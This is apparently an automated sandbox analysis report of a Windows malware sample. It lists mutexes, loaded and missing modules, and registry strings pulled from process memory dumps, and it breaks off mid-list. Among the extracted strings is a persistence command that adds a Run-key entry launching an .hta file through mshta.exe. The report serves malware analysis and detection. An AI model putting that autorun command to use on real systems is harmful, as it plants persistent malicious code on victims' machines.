"ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00004004.00000000.194219.09DD0000.00000004.mdmp 00000000-00004004.00000001.195692.09E00000.00000004.mdmp3b:T507,Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2240:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:2240:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:2240:120:WilError_01" Process powershell.exe created mutex with name "SM0:2240:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2240:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2240:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\LONGexactly_Mtx" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4004:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4004:120:WilError_01" Process powershell.exe created mutex with name "Local\SM0:4004:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:4004:120:WilError_01" Process powershell.exe created mutex with name "LONGexactly_Mtx" Process powershell.exe created mutex with name "SM0:4004:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4004:304:WilStaging_02"3c:T18aa,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\webengine4.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\crypt32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\msvcrt.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135]3d:T164b,"1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0L" in Source: 00000000-00002240.00000000.193762.B0F40000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00002240.00000000.193762.B0F40000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002240.00000000.193762.B0F40000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002240.00000000.193762.B0F40000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp "1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0L" in Source: 00000000-00002240.00000001.193887.B0FF7000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00002240.00000001.193887.B0FF7000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002240.00000001.193887.B0FF7000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002240.00000001.193887.B0FF7000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002240.00000001.193887.CB1E0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002240.00000001.193887.CB1E0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004004.00000000.194219.09DD0000.00000004.mdmp "E\Software\M" in Source: 00000000-00004004.00000000.194219.09DD0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004004.00000000.194219.09DD0000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00004004.00000000.194219.09DD0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004004.00000001.195692.09DD0000.00000004.mdmp "E\Software\M" in Source: 00000000-00004004.00000001.195692.09E00000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004004.00000001.195692.09E00000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00004004.00000001.195692.09E00000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00004004.00000001.195692.4B078000.00000002.mdmp "HKLM\" in Source: 00000000-00004004.00000001.195692.4B078000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00004004.00000001.195692.4B078000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004004.00000001.195692.4B078000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00004004.00000001.195692.4B078000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00004144.00000000.193429.7F91F000.00000002.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE" in Source: 00000000-00004144.00000000.193429.7F91F000.00000002.mdmp "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Reinforce /t REG_SZ /d "mshta.exe \"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Templates\Together.hta\"" /f " in Source: 00000000-00004144.00000000.193429.C36F0000.00000004.mdmp "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00004144.00000000.193429.C36F0000.00000004.mdmp "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00004144.00000000.193429.C39D0000.00000004.mdmp3e:T5dbc,"cmd.exe" loaded module "KERNEL32" at base 7ffb7eaf0000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffb7df10000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffb7df10000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffb7df10000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffb80890000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb7df10000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb7df10000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb7df10000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffb5c6a0000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ffb81170000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ffb7eaf0000 "reg.exe" loaded module "KERNEL32" at base 7ffb7eaf0000 "reg.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffb7df10000 "reg.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffb7df10000 "reg.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffb7df10000 "reg.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffb80890000 "reg.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb7df10000 "reg.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb7df10000 "reg.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb7df10000 "reg.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffb5c6a0000 "reg.exe" loaded module "KERNEL32.DLL" at base 7ffb7eaf0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb7df10000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb7df10000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb7df10000 "powershell.exe" loaded module "KERNEL32" at base 7ffb7eaf0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffb5c6a0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffb7eaf0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffb7eca0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffb5a360000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 1a8b28e0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffb7d550000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffb73d70000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffb58100000 "powershell.exe" loaded module "USER32.DLL" at base 7ffb80470000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffb7df10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffb5c480000 "powershell.exe" loaded module "NTDLL" at base 7ffb81170000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffb7e7d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffb4fdc0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffb80770000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 7ffb80270000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffb7e7d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffb7e6d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffb4f150000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffb4e6d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffb5a0c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffb7c900000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffb7e5a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffb4c660000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffb7e7d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffb7e7d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffb81170000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffb810d0000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffb7ee30000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffb7d760000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffb7d760000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffb7e3d0000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffb6af80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffb59f50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffb73d70000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffb68070000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffb57f90000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffb7e3d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\3DFF6M0S.DLL" at base 7ffb59f00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffb57e50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffb57db0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffb4bdb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffb59ea0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffb4b440000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffb4b0d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffb7df10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffb57c60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffb6b2b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffb4aff0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffb6b260000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffb73d60000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffb7d3f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 7ffb7c520000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffb7bb40000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffb4af10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffb7eaf0000 "powershell.exe" loaded module "USERENV.DLL" at base 7ffb7d3c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffb7eca0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffb7e7d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffb4a200000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffb6c070000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffb7d020000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 1310b930000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffb6b2b0000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffb6bee0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffb6b290000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\3DFF6M0S.DLL" at base 7ffb6b240000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffb5a020000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffb59eb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 